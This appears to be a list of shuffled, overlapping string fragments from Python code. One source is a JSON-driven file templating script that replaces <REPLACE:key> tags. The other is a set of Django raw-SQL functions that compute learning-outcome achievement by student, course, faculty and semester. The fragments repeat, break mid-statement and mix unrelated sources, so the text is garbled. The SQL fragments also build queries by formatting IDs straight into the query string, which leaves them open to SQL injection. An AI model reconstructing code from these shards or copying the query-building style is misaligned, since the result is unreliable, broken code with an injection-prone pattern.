False is_valid_list = False for key in", "= data[key][i] else: value = data[key] out_line = out_line.replace('<REPLACE:' + key + '>',", "or '<ERROR>' in in_line: continue # Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list", "'>', str(value)) else: out_line = out_line.replace('<REPLACE:' + key + '>', '') if len(key_list)", "print(str(len(errors)) + ' errors in templating process:') for error in errors: print('\\t' +", "+ key + '>', '') if len(key_list) > 0: if key in data:", "'.tpl') # Data json1_file = open(data_file_path) json1_str = json1_file.read() data = json.loads(json1_str) in_file", "sys.argv[1] out_file_path = in_file_path data_file_path = sys.argv[2] if len(sys.argv) >= 4: out_file_path =", ">= 4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data json1_file", "= out_line.replace('\\n', '') for key in key_list: if key in data: if isinstance(data[key],", "in key_list: if key in data and isinstance(data[key], list): if is_list: is_valid_list =", "(len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list = True is_list = True number_of_loop =", "if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in templating process:') for", "= {'begin':'<!--', 'end':'-->'} ################################################################################ errors = [] in_file_path = sys.argv[1] out_file_path = in_file_path", "length are not consistent.' errors.append(error) out_lines.append(comment['begin'] + ' ' + error + comment['end']", "if key in data: if isinstance(data[key], list): value = data[key][i] else: value =", "number_of_loop == 0: number_of_loop = 1 if is_list and not is_valid_list: number_of_loop =", "re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find number_of_elem = 0 is_list = False is_valid_list", "errors.append(error) out_lines.append(comment['begin'] + ' ' + error + ' ' + comment['end'] +", "= 0 is_list = False is_valid_list = False for key in key_list: if", "prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find number_of_elem = 0 is_list =", "or '<IGNORE>' in in_line or '<ERROR>' in in_line: continue # Find patterns out_lines.append(in_line)", "is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list = True is_list = True", "' *(.*)' + comment['end'] + ' *', '\\g<1>', out_line) out_line = out_line.replace('\\n', '')", "'') if len(key_list) > 0: if key in data: out_lines.append(out_line + ' '", "else: error = '<ERROR> Key \\'' + key + '\\' not exiting.'; errors.append(error)", "in data: if isinstance(data[key], list): value = data[key][i] else: value = data[key] out_line", "len(data[key]) is_valid_list = True is_list = True number_of_loop = number_of_elem if number_of_loop ==", "out_file_path = in_file_path data_file_path = sys.argv[2] if len(sys.argv) >= 4: out_file_path = sys.argv[3]", "if number_of_loop == 0: number_of_loop = 1 if is_list and not is_valid_list: number_of_loop", "process:') for error in errors: print('\\t' + error) else: print('No error in templating", "= True is_list = True number_of_loop = number_of_elem if number_of_loop == 0: number_of_loop", "len(sys.argv) < 3: print('Not enough input arguments') exit() ################################################################################ # Options comment =", "= sys.argv[1] out_file_path = in_file_path data_file_path = sys.argv[2] if len(sys.argv) >= 4: out_file_path", "'<ERROR> Data list length are not consistent.' errors.append(error) out_lines.append(comment['begin'] + ' ' +", "Data list length are not consistent.' errors.append(error) out_lines.append(comment['begin'] + ' ' + error", "len(sys.argv) >= 4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data", "+ key + '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' ' + error", "*', '\\g<1>', out_line) out_line = out_line.replace('\\n', '') for key in key_list: if key", "value = data[key][i] else: value = data[key] out_line = out_line.replace('<REPLACE:' + key +", "' + error + comment['end'] + '\\n') for i in range(0,number_of_loop): out_line =", "is_valid_list = True is_list = True number_of_loop = number_of_elem if number_of_loop == 0:", "open(out_file_path, 'w') for out_line in out_lines: out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors))", "not consistent.' errors.append(error) out_lines.append(comment['begin'] + ' ' + error + comment['end'] + '\\n')", "Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find number_of_elem =", "else: value = data[key] out_line = out_line.replace('<REPLACE:' + key + '>', str(value)) else:", "+ ' <REPLACED> ' + comment['end'] + '\\n') else: error = '<ERROR> Key", "*(.*)' + comment['end'] + ' *', '\\g<1>', out_line) out_line = out_line.replace('\\n', '') for", "'>', '') if len(key_list) > 0: if key in data: out_lines.append(out_line + '", "for error in errors: print('\\t' + error) else: print('No error in templating process')", "'<REPLACED>' in in_line or '<IGNORE>' in in_line or '<ERROR>' in in_line: continue #", "enough input arguments') exit() ################################################################################ # Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors", "in data: out_lines.append(out_line + ' ' + comment['begin'] + ' <REPLACED> ' +", "value = data[key] out_line = out_line.replace('<REPLACE:' + key + '>', str(value)) else: out_line", "+ comment['end'] + ' *', '\\g<1>', out_line) out_line = out_line.replace('\\n', '') for key", "re.sub(r'^ *' + comment['begin'] + ' *(.*)' + comment['end'] + ' *', '\\g<1>',", "= 1 if is_list and not is_valid_list: number_of_loop = 0 error = '<ERROR>", "+ '>', str(value)) else: out_line = out_line.replace('<REPLACE:' + key + '>', '') if", "' *', '\\g<1>', out_line) out_line = out_line.replace('\\n', '') for key in key_list: if", "' errors in templating process:') for error in errors: print('\\t' + error) else:", "isinstance(data[key], list): if is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key])", "*' + comment['begin'] + ' *(.*)' + comment['end'] + ' *', '\\g<1>', out_line)", "is_list = False is_valid_list = False for key in key_list: if key in", "' + comment['begin'] + ' <REPLACED> ' + comment['end'] + '\\n') else: error", "if len(sys.argv) >= 4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl') #", "number_of_elem = len(data[key]) is_valid_list = True is_list = True number_of_loop = number_of_elem if", "in_file.readlines() out_lines = [] for in_line in in_lines: if '<REPLACED>' in in_line or", "Data json1_file = open(data_file_path) json1_str = json1_file.read() data = json.loads(json1_str) in_file = open(in_file_path)", "+ comment['end'] + '\\n') out_file = open(out_file_path, 'w') for out_line in out_lines: out_file.write(out_line)", "errors in templating process:') for error in errors: print('\\t' + error) else: print('No", "' + error + ' ' + comment['end'] + '\\n') out_file = open(out_file_path,", "is_valid_list = False for key in key_list: if key in data and isinstance(data[key],", "False is_valid_list = False for key in key_list: if key in data and", "comment['begin'] + ' *(.*)' + comment['end'] + ' *', '\\g<1>', out_line) out_line =", "list): value = data[key][i] else: value = data[key] out_line = out_line.replace('<REPLACE:' + key", "out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data json1_file = open(data_file_path)", "in_file = open(in_file_path) in_lines = in_file.readlines() out_lines = [] for in_line in in_lines:", "+ comment['end'] + '\\n') else: error = '<ERROR> Key \\'' + key +", "list): if is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list", "0: number_of_loop = 1 if is_list and not is_valid_list: number_of_loop = 0 error", "3: print('Not enough input arguments') exit() ################################################################################ # Options comment = {'begin':'<!--', 'end':'-->'}", "data = json.loads(json1_str) in_file = open(in_file_path) in_lines = in_file.readlines() out_lines = [] for", "exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' ' + error + ' ' + comment['end']", "out_file_path + '.tpl') # Data json1_file = open(data_file_path) json1_str = json1_file.read() data =", "not exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' ' + error + ' ' +", "sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data json1_file = open(data_file_path) json1_str =", "< 3: print('Not enough input arguments') exit() ################################################################################ # Options comment = {'begin':'<!--',", "errors.append(error) out_lines.append(comment['begin'] + ' ' + error + comment['end'] + '\\n') for i", "in in_line: continue # Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line)", "list length are not consistent.' errors.append(error) out_lines.append(comment['begin'] + ' ' + error +", "' <REPLACED> ' + comment['end'] + '\\n') else: error = '<ERROR> Key \\''", "for key in key_list: if key in data: if isinstance(data[key], list): value =", "number_of_loop = 1 if is_list and not is_valid_list: number_of_loop = 0 error =", "out_line.replace('<REPLACE:' + key + '>', '') if len(key_list) > 0: if key in", "import sys import re import shutil import json if len(sys.argv) < 3: print('Not", "data: if isinstance(data[key], list): value = data[key][i] else: value = data[key] out_line =", "shutil import json if len(sys.argv) < 3: print('Not enough input arguments') exit() ################################################################################", "out_lines.append(comment['begin'] + ' ' + error + ' ' + comment['end'] + '\\n')", "in_file_path data_file_path = sys.argv[2] if len(sys.argv) >= 4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path,", "'end':'-->'} ################################################################################ errors = [] in_file_path = sys.argv[1] out_file_path = in_file_path data_file_path =", "in templating process:') for error in errors: print('\\t' + error) else: print('No error", "+ ' *', '\\g<1>', out_line) out_line = out_line.replace('\\n', '') for key in key_list:", "' ' + error + ' ' + comment['end'] + '\\n') out_file =", "comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors = [] in_file_path = sys.argv[1] out_file_path =", "and not is_valid_list: number_of_loop = 0 error = '<ERROR> Data list length are", "templating process:') for error in errors: print('\\t' + error) else: print('No error in", "data[key][i] else: value = data[key] out_line = out_line.replace('<REPLACE:' + key + '>', str(value))", "out_line.replace('<REPLACE:' + key + '>', str(value)) else: out_line = out_line.replace('<REPLACE:' + key +", "'w') for out_line in out_lines: out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) +", "{'begin':'<!--', 'end':'-->'} ################################################################################ errors = [] in_file_path = sys.argv[1] out_file_path = in_file_path data_file_path", "+ ' ' + error + comment['end'] + '\\n') for i in range(0,number_of_loop):", "in in_line or '<ERROR>' in in_line: continue # Find patterns out_lines.append(in_line) prog =", "json if len(sys.argv) < 3: print('Not enough input arguments') exit() ################################################################################ # Options", "else: number_of_elem = len(data[key]) is_valid_list = True is_list = True number_of_loop = number_of_elem", "in_line or '<IGNORE>' in in_line or '<ERROR>' in in_line: continue # Find patterns", "0 error = '<ERROR> Data list length are not consistent.' errors.append(error) out_lines.append(comment['begin'] +", "= [] in_file_path = sys.argv[1] out_file_path = in_file_path data_file_path = sys.argv[2] if len(sys.argv)", "+ ' ' + comment['begin'] + ' <REPLACED> ' + comment['end'] + '\\n')", "key + '>', '') if len(key_list) > 0: if key in data: out_lines.append(out_line", "key + '>', str(value)) else: out_line = out_line.replace('<REPLACE:' + key + '>', '')", "key_list = prog.findall(in_line) # Find number_of_elem = 0 is_list = False is_valid_list =", "in_line out_line = re.sub(r'^ *' + comment['begin'] + ' *(.*)' + comment['end'] +", "4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data json1_file =", "+ key + '>', str(value)) else: out_line = out_line.replace('<REPLACE:' + key + '>',", "= in_file_path data_file_path = sys.argv[2] if len(sys.argv) >= 4: out_file_path = sys.argv[3] else:", "' ' + error + comment['end'] + '\\n') for i in range(0,number_of_loop): out_line", "and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list = True is_list = True number_of_loop", "key in key_list: if key in data and isinstance(data[key], list): if is_list: is_valid_list", "for in_line in in_lines: if '<REPLACED>' in in_line or '<IGNORE>' in in_line or", "= json.loads(json1_str) in_file = open(in_file_path) in_lines = in_file.readlines() out_lines = [] for in_line", "is_valid_list: number_of_loop = 0 error = '<ERROR> Data list length are not consistent.'", "import shutil import json if len(sys.argv) < 3: print('Not enough input arguments') exit()", "number_of_elem = 0 is_list = False is_valid_list = False for key in key_list:", "0 is_list = False is_valid_list = False for key in key_list: if key", "comment['end'] + '\\n') for i in range(0,number_of_loop): out_line = in_line out_line = re.sub(r'^", "= in_line out_line = re.sub(r'^ *' + comment['begin'] + ' *(.*)' + comment['end']", "input arguments') exit() ################################################################################ # Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors =", "= 0 error = '<ERROR> Data list length are not consistent.' errors.append(error) out_lines.append(comment['begin']", "= sys.argv[2] if len(sys.argv) >= 4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path +", "sys.argv[2] if len(sys.argv) >= 4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl')", "if key in data: out_lines.append(out_line + ' ' + comment['begin'] + ' <REPLACED>", "consistent.' errors.append(error) out_lines.append(comment['begin'] + ' ' + error + comment['end'] + '\\n') for", "else: shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data json1_file = open(data_file_path) json1_str = json1_file.read()", "out_line = out_line.replace('<REPLACE:' + key + '>', str(value)) else: out_line = out_line.replace('<REPLACE:' +", "else: out_line = out_line.replace('<REPLACE:' + key + '>', '') if len(key_list) > 0:", "+ comment['end'] + '\\n') for i in range(0,number_of_loop): out_line = in_line out_line =", "in out_lines: out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in", "'\\n') else: error = '<ERROR> Key \\'' + key + '\\' not exiting.';", "is_list and not is_valid_list: number_of_loop = 0 error = '<ERROR> Data list length", "is_list = True number_of_loop = number_of_elem if number_of_loop == 0: number_of_loop = 1", "key in data: if isinstance(data[key], list): value = data[key][i] else: value = data[key]", "number_of_loop = 0 error = '<ERROR> Data list length are not consistent.' errors.append(error)", "+ '\\n') else: error = '<ERROR> Key \\'' + key + '\\' not", "if isinstance(data[key], list): value = data[key][i] else: value = data[key] out_line = out_line.replace('<REPLACE:'", "for out_line in out_lines: out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + '", "in_file_path = sys.argv[1] out_file_path = in_file_path data_file_path = sys.argv[2] if len(sys.argv) >= 4:", "if is_list and not is_valid_list: number_of_loop = 0 error = '<ERROR> Data list", "data_file_path = sys.argv[2] if len(sys.argv) >= 4: out_file_path = sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path", "continue # Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find", "0: if key in data: out_lines.append(out_line + ' ' + comment['begin'] + '", "in key_list: if key in data: if isinstance(data[key], list): value = data[key][i] else:", "'\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' ' + error + ' '", "open(data_file_path) json1_str = json1_file.read() data = json.loads(json1_str) in_file = open(in_file_path) in_lines = in_file.readlines()", "out_line = out_line.replace('\\n', '') for key in key_list: if key in data: if", "out_line = in_line out_line = re.sub(r'^ *' + comment['begin'] + ' *(.*)' +", "re import shutil import json if len(sys.argv) < 3: print('Not enough input arguments')", "str(value)) else: out_line = out_line.replace('<REPLACE:' + key + '>', '') if len(key_list) >", "= out_line.replace('<REPLACE:' + key + '>', str(value)) else: out_line = out_line.replace('<REPLACE:' + key", "comment['begin'] + ' <REPLACED> ' + comment['end'] + '\\n') else: error = '<ERROR>", "= in_file.readlines() out_lines = [] for in_line in in_lines: if '<REPLACED>' in in_line", "data[key] out_line = out_line.replace('<REPLACE:' + key + '>', str(value)) else: out_line = out_line.replace('<REPLACE:'", "\"\"\" import sys import re import shutil import json if len(sys.argv) < 3:", "> 0: if key in data: out_lines.append(out_line + ' ' + comment['begin'] +", "# Data json1_file = open(data_file_path) json1_str = json1_file.read() data = json.loads(json1_str) in_file =", "if is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list =", "in_line or '<ERROR>' in in_line: continue # Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>')", "json.loads(json1_str) in_file = open(in_file_path) in_lines = in_file.readlines() out_lines = [] for in_line in", "key in data: out_lines.append(out_line + ' ' + comment['begin'] + ' <REPLACED> '", "out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n') print(str(len(errors)) + ' errors in templating process:')", "False for key in key_list: if key in data and isinstance(data[key], list): if", "len(key_list) > 0: if key in data: out_lines.append(out_line + ' ' + comment['begin']", "'\\n') for i in range(0,number_of_loop): out_line = in_line out_line = re.sub(r'^ *' +", "range(0,number_of_loop): out_line = in_line out_line = re.sub(r'^ *' + comment['begin'] + ' *(.*)'", "= json1_file.read() data = json.loads(json1_str) in_file = open(in_file_path) in_lines = in_file.readlines() out_lines =", "out_file = open(out_file_path, 'w') for out_line in out_lines: out_file.write(out_line) if len(errors) > 0:", "################################################################################ # Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors = [] in_file_path =", "out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find number_of_elem = 0 is_list", "= out_line.replace('<REPLACE:' + key + '>', '') if len(key_list) > 0: if key", "key in key_list: if key in data: if isinstance(data[key], list): value = data[key][i]", "isinstance(data[key], list): value = data[key][i] else: value = data[key] out_line = out_line.replace('<REPLACE:' +", "number_of_elem if number_of_loop == 0: number_of_loop = 1 if is_list and not is_valid_list:", "= '<ERROR> Key \\'' + key + '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] +", "out_lines.append(out_line + ' ' + comment['begin'] + ' <REPLACED> ' + comment['end'] +", "= open(in_file_path) in_lines = in_file.readlines() out_lines = [] for in_line in in_lines: if", "shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data json1_file = open(data_file_path) json1_str = json1_file.read() data", "' + comment['end'] + '\\n') else: error = '<ERROR> Key \\'' + key", "key in data and isinstance(data[key], list): if is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem)", "+ error + ' ' + comment['end'] + '\\n') out_file = open(out_file_path, 'w')", "in_line: continue # Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) #", "sys import re import shutil import json if len(sys.argv) < 3: print('Not enough", "in data and isinstance(data[key], list): if is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else:", "prog.findall(in_line) # Find number_of_elem = 0 is_list = False is_valid_list = False for", "= True number_of_loop = number_of_elem if number_of_loop == 0: number_of_loop = 1 if", "Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors = [] in_file_path = sys.argv[1] out_file_path", "is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list = True", "+ '.tpl') # Data json1_file = open(data_file_path) json1_str = json1_file.read() data = json.loads(json1_str)", "+ '\\n') for i in range(0,number_of_loop): out_line = in_line out_line = re.sub(r'^ *'", "+ ' errors in templating process:') for error in errors: print('\\t' + error)", "+ ' *(.*)' + comment['end'] + ' *', '\\g<1>', out_line) out_line = out_line.replace('\\n',", "True is_list = True number_of_loop = number_of_elem if number_of_loop == 0: number_of_loop =", "error + comment['end'] + '\\n') for i in range(0,number_of_loop): out_line = in_line out_line", "out_line = out_line.replace('<REPLACE:' + key + '>', '') if len(key_list) > 0: if", "Key \\'' + key + '\\' not exiting.'; errors.append(error) out_lines.append(comment['begin'] + ' '", "'\\n') out_file = open(out_file_path, 'w') for out_line in out_lines: out_file.write(out_line) if len(errors) >", "= re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find number_of_elem = 0 is_list = False", "in range(0,number_of_loop): out_line = in_line out_line = re.sub(r'^ *' + comment['begin'] + '", "= sys.argv[3] else: shutil.copyfile(out_file_path, out_file_path + '.tpl') # Data json1_file = open(data_file_path) json1_str", "= is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem = len(data[key]) is_valid_list = True is_list =", "= '<ERROR> Data list length are not consistent.' errors.append(error) out_lines.append(comment['begin'] + ' '", "for key in key_list: if key in data and isinstance(data[key], list): if is_list:", "out_line) out_line = out_line.replace('\\n', '') for key in key_list: if key in data:", "key_list: if key in data and isinstance(data[key], list): if is_list: is_valid_list = is_valid_list", "= re.sub(r'^ *' + comment['begin'] + ' *(.*)' + comment['end'] + ' *',", "errors = [] in_file_path = sys.argv[1] out_file_path = in_file_path data_file_path = sys.argv[2] if", "key_list: if key in data: if isinstance(data[key], list): value = data[key][i] else: value", "'') for key in key_list: if key in data: if isinstance(data[key], list): value", "out_line = re.sub(r'^ *' + comment['begin'] + ' *(.*)' + comment['end'] + '", "+ '\\n') out_file = open(out_file_path, 'w') for out_line in out_lines: out_file.write(out_line) if len(errors)", "arguments') exit() ################################################################################ # Options comment = {'begin':'<!--', 'end':'-->'} ################################################################################ errors = []", "if '<REPLACED>' in in_line or '<IGNORE>' in in_line or '<ERROR>' in in_line: continue", "comment['end'] + '\\n') else: error = '<ERROR> Key \\'' + key + '\\'", "[] in_file_path = sys.argv[1] out_file_path = in_file_path data_file_path = sys.argv[2] if len(sys.argv) >=", "patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list = prog.findall(in_line) # Find number_of_elem = 0", "i in range(0,number_of_loop): out_line = in_line out_line = re.sub(r'^ *' + comment['begin'] +", "import json if len(sys.argv) < 3: print('Not enough input arguments') exit() ################################################################################ #", "and isinstance(data[key], list): if is_list: is_valid_list = is_valid_list and (len(data[key])==number_of_elem) else: number_of_elem =", "= len(data[key]) is_valid_list = True is_list = True number_of_loop = number_of_elem if number_of_loop", "in_lines: if '<REPLACED>' in in_line or '<IGNORE>' in in_line or '<ERROR>' in in_line:", "'<ERROR>' in in_line: continue # Find patterns out_lines.append(in_line) prog = re.compile(r'<REPLACE:([a-zA-Z0-9_]+)>') key_list =", "number_of_loop = number_of_elem if number_of_loop == 0: number_of_loop = 1 if is_list and", "+ '>', '') if len(key_list) > 0: if key in data: out_lines.append(out_line +", "out_line.replace('\\n', '') for key in key_list: if key in data: if isinstance(data[key], list):", "'\\g<1>', out_line) out_line = out_line.replace('\\n', '') for key in key_list: if key in", "1 if is_list and not is_valid_list: number_of_loop = 0 error = '<ERROR> Data", "+ ' ' + comment['end'] + '\\n') out_file = open(out_file_path, 'w') for out_line", "if key in data and isinstance(data[key], list): if is_list: is_valid_list = is_valid_list and", "import re import shutil import json if len(sys.argv) < 3: print('Not enough input", "if len(key_list) > 0: if key in data: out_lines.append(out_line + ' ' +", "= open(out_file_path, 'w') for out_line in out_lines: out_file.write(out_line) if len(errors) > 0: print('\\n***ERRORS***\\n')" ]
[ "socket import time if __name__ == \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn =", "import socket import time if __name__ == \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn", "time if __name__ == \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn = '/tmp/GameRoomConn' sock.connect(conn)", "== \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn = '/tmp/GameRoomConn' sock.connect(conn) time.sleep(1) sock.send('hello world')", "if __name__ == \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn = '/tmp/GameRoomConn' sock.connect(conn) time.sleep(1)", "\"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn = '/tmp/GameRoomConn' sock.connect(conn) time.sleep(1) sock.send('hello world') sock.close()", "<filename>GameRoom/clienttest.py import socket import time if __name__ == \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)", "__name__ == \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn = '/tmp/GameRoomConn' sock.connect(conn) time.sleep(1) sock.send('hello", "import time if __name__ == \"__main__\": sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) conn = '/tmp/GameRoomConn'" ]
[ "cursor.fetchall() plonum = [] courses = [] counts = [] for record in", "row def getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t s", "all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum = list(set(plonum)) failed_per = 100", "in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty = list(set(faculty)) plonum", "= [] for entry in row: if entry[1] not in courses: courses.append(entry[1]) courses.sort()", "table def getfacultycoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem +=", "acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum,", "with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r,", "[] plos2 = [] for record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for", "'{}' and co.course_id = '{}' GROUP BY p.ploID '''.format(studentID, courseID)) row = cursor.fetchall()", "not found: if category == 'report': temptable.append('N/A') elif category == 'chart': temptable.append(0) table.append(temptable)", "ploo += plo ploo += '\",' ploo = ploo[:-1] with connection.cursor() as cursor:", "\"PLO12\"] for i in courses: temptable = [] if category == 'report': temptable", "= ploo[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM (", "co, app_plo_t p, app_section_t s, app_program_t prog WHERE r.registrationID = e.registration_id and e.assessment_id", "for k in row: if j == k[0] and i == k[1]: if", "r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s WHERE r.registrationID", "sem += '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.semester,", "({}) )f GROUP BY f.plonum; '''.format(program, sem)) row2 = cursor.fetchall() plonum = []", "= [] for record in row1: plonum.append(record[0]) acheived.append(record[1]) for record in row2: attempted.append(record[0])", "and e.registration_id = r.registrationID and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id =", "[] for record in row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False)", "as achieved_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage", "plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses))", "'''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt FROM ( SELECT", "p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a,", "a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = '{}' GROUP BY p.ploID '''.format(programID))", "derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table = [] courses =", "def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent", "plos = plos.tolist() faculty = list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos", "acheived = [] all_cnt = [] for record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2])", "SELECT p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t", "plo in acheived_per: acheived.append(plo.tolist()) failed=[] for plo in failed_per: failed.append(plo.tolist()) return semester, plonum,", "cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as", "p.ploID '''.format(studentID, courseID)) row = cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with connection.cursor() as", "FROM app_section_t s WHERE s.course_id = '{}' ) and s.semester IN ({}) and", "plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "return row def getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,", "for record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in row2: plos2.append(record[0])", "s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f GROUP BY", "a.co_id=co.coID and co.plo_id = p.ploID and co.course_id = '{}' GROUP BY p.ploID '''.format(courseID))", "BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2 = cursor.fetchall() faculty = [] plonum", "with connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM ( SELECT p.ploNum as", "cursor.fetchall() return row def getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute( ''' SELECT studentID", "sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt FROM", "= cursor.fetchall() courses = [] plonum = [] acheived = [] all_cnt =", "p WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id", "return courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem = ''; for semester in", "BY f.ploNum, f.course_id '''.format(program, sem)) row = cursor.fetchall() plonum = [] courses =", "sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*)", "app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, ( SELECT p.ploNum", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID and", "plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem", ")f WHERE f.percentage >= 40 GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1", 